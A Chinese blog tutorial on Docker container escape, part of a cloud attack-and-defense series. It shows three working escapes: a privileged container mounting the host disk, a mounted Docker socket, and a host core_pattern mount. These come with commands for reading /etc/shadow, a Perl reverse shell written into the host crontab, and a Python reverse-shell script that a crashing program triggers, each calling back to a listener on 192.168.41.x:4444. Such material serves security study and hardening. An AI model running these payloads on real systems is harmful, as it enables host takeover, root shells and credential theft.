云安全攻防(七)之 容器逃逸

容器运行时的安全风险

运行时的容器可能发生的攻击形式数不胜数,然而归根结底,所有攻击影响的还是业务系统的机密性、完整性和可用性(CIA三要素)。从这个角度出发,我们可以将攻击做以下的分类:

  • 主要影响机密性、完整性的,通常是获取目标系统控制权、窃取或修改数据等
  • 主要影响可用性的,通常是对目标系统信息资源的耗尽型攻击

基于上述分类,我们将介绍两种非常典型的攻击方式:容器及安全容器逃逸、从容器发起的资源耗尽型攻击

容器逃逸

以其他虚拟化技术类似,逃逸是最为严重的安全风险,直接危害了底层宿主机和整个云计算系统的安全,“容器逃逸”是指攻击者通过劫持容器业务化逻辑或直接控制(CaaS等合法获得容器控制权的场景)等方式,已经获得了容器内某种权限下的命令执行能力,攻击者利用这种执行能力,借助一些手段进而获得该容器所在的直接宿主机某种权限下的命令执行能力。一些特殊的漏洞利用方式,如软件供应链阶段能够触发漏洞的恶意镜像、在容器内构造恶意符号链接、在容器内劫持动态链接库等,其本质上还是攻击者获得了容器内某种权限下执行命令的能力。

如果容器挂载了宿主机的某些文件或目录,将挂载列表与用于建立后门而写入shell的文件、目录列表交集,是不是就可以得到容器逃逸的新途径呢?

在这里插入图片描述

不安全配置导致的容器逃逸

在这些年的迭代中,容器社区一直在努力将纵深防御、最小权限等理念和原则落地,列如,Docker 已经将容器运行时的 Capabililttes 黑名单机制改为如今的默认禁止所有Capabililttes,再以白名单方式赋予容器内运行时所需的最小权限。截至目前为止,Docker 默认赋予容器近40项权限的中的14项:

func DefaultCapabilities() []string {return []string{"CAP_CHOWN","CAP_DAC_OVERRIDE","CAP_FSETID","CAP_FOWNER","CAP_MKNOD","CAP_NET_RAW","CAP_SETGID","CAP_SETUID","CAP_SETFCAP","CAP_SETPCAP","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_KILL","CAP_AUDIT_WRITE",}
}

然而,无论是细粒度权限控制还是其他安全机制,用户都可以通过修改容器环境配置或在运行时指定参数来调整约束,但如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度逃逸的可能性

–privileged:特权模式运行容器

最初,容器特权模式的出现是为了帮助开发者实现 Docker-in-Docker 特性。然而,在特权模式下运行的不完全受控制容器将给宿主机带来极大的安全威胁,当操作者执行 docker run --privileged时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与直接运行在宿主机上的进程拥有几乎相同的访问权限

如图,我们以特权模式和非特权模式创建了两个容器,其中特权容器内部可以看到宿主机上的设备

#以特权模式创建一个容器
docker run --rm --privileged=true -it alpine
#以非特权模式创建一个容器
docker run --rm  -it alpine
#查看当前所运行的容器
docker ps

在这里插入图片描述

在这样的场景下,从容器中逃逸出去易如反掌,手段也是非常多的,列如,攻击者可以直接在容器内部挂载宿主机磁盘:

#挂载磁盘
docker exec 82766e907721 fdisk -l
docker exec 69946fbdc420 fdisk -l | tail -n 2

在这里插入图片描述

在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status | grep CapEff

如图·可以看到以特权模式和非特权模式运行的容器CapEff 对应的掩码值的区别

在这里插入图片描述

在这里插入图片描述

现在我们以特权模式启动一个容器

#以特权模式启动一个容器
docker run --rm --privileged=true -it alpine

在这里插入图片描述

然后直接在容器内部挂载宿主机磁盘

#挂载宿主机磁盘
fdisk -l

在这里插入图片描述

然后将目录切换出去,在容器内部执行以下命令,创建一个host 目录,将宿主机文件挂载到 /host 目录下

#创建目录
mkdir /host
#将宿主机文件挂载到 /host 目录下
mount /dev/sda1 /host

在这里插入图片描述

现在我们可以在容器内部执行以下的命令,尝试访问宿主机 shadow 文件,可以看到正常访问

cat /host/etc/shadow

在这里插入图片描述

同样的情况下,也可以在定时任务中写入反弹 shell,这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样

我们这里开启监听

nc -lvvp 4444

在这里插入图片描述

然后在容器内执行命令,在定时任务中写入反弹 shell

echo $'*/1 * * * * perl -e \'use Socket;$i="192.168.41.138";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /host/etc/crontab

在这里插入图片描述

一分钟后,我们就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限

在这里插入图片描述

到此为止,攻击者已经基本从容器内部逃逸出来了,这里说基本,是因为仅仅挂载了宿主机的根目录,如果用ps命令查看的话,可以看到还是容器内部的进程,因为没有挂载宿主机的 procfs

不安全挂载导致的容器逃逸

为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供宿主机目录到虚拟机的功能。容器同样如此,然而将宿主机上的敏感文件或目录挂载到容器内部——尤其是那些不完全受控的容器内部,往往会带来安全问题

尽管如此,在某些特定场景下,为了实现特定功能或者方便操作(列如为了在容器内对容器进行管理,将Docker Socket 挂载到容器内),人们还是选择将外部敏感卷挂载入容器。随着容器技术应用的逐渐深化,挂载操作变得瑜伽广泛,由此而来的安全问题也呈现上升趋势

挂载 Docker Socket 逃逸容器

Docker Socket 是 Docker 守护进程监听的 UNIX 域套接字,用来与守护进程通信——查询信息或下发命令。如果攻击者可控的容器内挂载了该套接字文件(/var/run/docker。sock),容器逃逸就相当容易了

挂载Docker Socket 逃逸容器的步骤如下:

  1. 首先创建一个容器内挂载 /var/run/docker.sock 文件
  2. 在该容器内部安装 Docker 命令行客户端
  3. 接着使用该客户端通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部
  4. 在新容器内执行chroot,将根目录切换到挂载的宿主及根目录

创建一个容器并挂载 /var/run/docker/sock 文件

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

在这里插入图片描述

然后我们执行以下命令进入容器

#列出当前运行容器的进程
docker ps
#进入容器
docker exec -it 6ea2a95dc78d /bin/bash

在这里插入图片描述

检测当前容器是否存在这个漏洞,如果存在这个文件,说明漏洞可能存在

ls -lah /var/run/docker.sock

在这里插入图片描述

在容器内安装 Docker 命令行客户端

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
ls /host

在这里插入图片描述

由上图可见,已经将宿主机根目录挂载到容器内部,通过读取或者改写敏感文件可以实现逃逸

如图可以查看宿主机的敏感文件

cat /etc/shadow

在这里插入图片描述

当然进一步也能通过写入定时任务反弹shell,这一步的步骤跟之前在 --privileged:特权模式运行容器中讲解的反弹shell的步骤几乎一样

与不安全的配置导致的逃逸的问题类似,攻击者已经基本容器内逃逸出来了,我们说“基本”,是因为仅仅挂载了宿主及的根目录,如果用 ps 查看进程的话,看到的还是容器内的进程,因为没有挂载到宿主机的 procfs

挂载宿主机 procfs 逃逸容器

对于熟悉Linux 和云计算的朋友来说,procfs 绝对不是一个陌生的概念。 procfs是一个伪文件系统,它动态反映着系统内进程及其组件的状态,其中有许多非常敏感、重要的文件。因此,将宿主机的procfs 挂载到不受控制的容器也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时(目前为止,Docker 默认情况下没有为容器开启 User Namespace)

一般来说,我们不会将宿主机的procfs 挂载到容器中,但是有些业务为了实现某些特殊需要,还是会将文件系统挂载进来

现在我们创建一个容器并挂载 /proc 目录

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

find / -name core_pattern

在这里插入图片描述

现在我们需要输入以下的命令找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

在这里插入图片描述

这就表示当前绝对路径为

/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged

接下来我们要安装 vim 和 gcc

apt-get update -y && apt-get install vim gcc -y

接下来我们创建一个反弹 Shell 的 py 脚本

vim /tmp/.t.py

脚本的内容如下,lhost 换成监听攻击机的IP

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "192.168.41.132"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()

给 Shell 赋予执行权限

chmod 777 /tmp.t.py

在这里插入图片描述

写入反弹 shell 到目标的 proc 目录下

echo -e "|/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在这里插入图片描述

在攻击主机上192.168.41.132 开启一个监听

nc -lvvp 4444

在这里插入图片描述

然后在容器里编辑一个可以崩溃的程序

vim t.c

程序内容如下

#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

然后编译程序

gcc t.c -o t

运行该崩溃程序

./t

在这里插入图片描述

然后我们可以看到攻击机收到反弹的shell,逃逸成功

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/60769.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【网络基础实战之路】基于三个分公司的内网搭建并连接运营商的实战详解

系列文章传送门&#xff1a; 【网络基础实战之路】设计网络划分的实战详解 【网络基础实战之路】一文弄懂TCP的三次握手与四次断开 【网络基础实战之路】基于MGRE多点协议的实战详解 【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解 PS&#xff1a;本要求基于…

ardupilot 三维向量如何进行旋转

目录 文章目录 目录摘要1.三维向量的旋转2.如何理解上面公式3.ardupilot中代码应用4.结论摘要 本节主要记录ardupilot中如何实现一个三维向量从一个坐标系转换到另外一个坐标系的过程,欢迎批评指正!!! 1.三维向量的旋转 这里需要特别注意,我们有时候需要把R系往B系转换,…

HECI-Securtiy 防火墙路由技术

目录 一、防火墙路由基本原理 1.路由分类 2.路由优先级 3.路由查询先后顺序 4.静态路由基本原理 &#xff08;1&#xff09;指定出接口场景 &#xff08;2&#xff09;指定下一跳地址场景 5.静态路由与多出口 &#xff08;1&#xff09;主备备份 &#xff08;2&#…

快速入门:【c# 之 Winform开发】

C#基础 面向对象(OOP) c语言是面向过程。 c是面向过程面向对象。 c#是纯粹的面向对象: 核心思想是以人的思维习惯来分析和解决问题。万物皆对象。 面向对象开发步骤: 分析对象 特征行为关系(对象关系/类关系) 写代码: 特征–>成员变量 方法–>成员方法 实例化–具体对…

安卓如何卸载应用

卸载系统应用 首先需要打开手机的开发者选项&#xff0c;启动usb调试。 第二步需要在电脑上安装adb命令&#xff0c;喜欢的话还可以将它加入系统path。如果不知道怎么安装&#xff0c;可以从这里下载免安装版本。 第三步将手机与电脑用数据线连接&#xff0c;注意是数据线&a…

2023 电赛 E 题 激光笔识别有误--使用K210/Openmv/树莓派/Jetson nano实现激光笔在黑色区域的目标检测

1. 引言 1.1 激光笔在黑色区域目标检测的背景介绍 在许多应用领域&#xff0c;如机器人导航、智能家居和自动驾驶等&#xff0c;目标检测技术的需求日益增加。本博客将聚焦于使用K210芯片实现激光笔在黑色区域的目标检测。 激光笔在黑色区域目标检测是一个有趣且具有挑战性的…

同步代码块使用错误示范 | 用了synchronized还是出现“超取”问题

记录一下错误&#xff0c;吸取经验&#x1f914;&#x1f60b; 出问题的代码 public class Test {public static void main(String[] args) {new Thread(new Account()).start(); //&#xff01;&#xff01;new Thread(new Account()).start(); //&#xff01;&#xff01;}…

在工作中使用ChatGPT需要担心泄密问题吗?

​OpenAI的ChatGPT可以通过自动简化繁琐的任务&#xff0c;针对挑战性问题的提供创造性的解决方案来提高员工的生产力。但随着这项技术被整合到人力资源平台和其他工作场所中&#xff0c;它给各个企业带来了巨大的挑战。苹果、Spotify、Verizon和三星等大公司已禁止或限制员工在…

Node.js-http模块服务端请求与响应操作,请求报文与响应报文

简单案例创建HTTP服务端&#xff1a; // 导入 http 模块 const http require("http"); // 创建服务对象 const server http.createServer((request, response) > {// 设置编码格式&#xff0c;解决中文乱码问题response.setHeader("content-type", &…

微信开发之一键修改好友标签的技术实现

移除标签下的好友&#xff1a; 把需移除的好友所有标签查出来&#xff08;通讯录详情接口返回标签id&#xff0c;数据库需缓存&#xff09;&#xff0c;去掉想移出的标签id&#xff0c;labelIdList参数放进其他所有标签id。 增加标签新好友&#xff1a; 把需添加的好友所有标签…

C#实现三菱FX-3U SerialOverTcp

设备信息 测试结果 D值测试 Y值写入后读取测试 协议解析 三菱FX 3U系列PLC的通信协议 1. 每次给PLC发送指令后&#xff0c;必须等待PLC的应答完成才能发送下一条指令; 2. 报文都是十六进制ASCII码的形式 3. 相关指令 指令 命令码&#xff08;ASCII码&#xff09; 操作原件 …

剑指offer39.数组中出现次数超过一半的数字

这个题非常简单&#xff0c;解法有很多种&#xff0c;我用的是HashMap记录每个元素出现的次数&#xff0c;只要次数大于数组长度的一半就返回。下面是我的代码&#xff1a; class Solution {public int majorityElement(int[] nums) {int len nums.length/2;HashMap<Integ…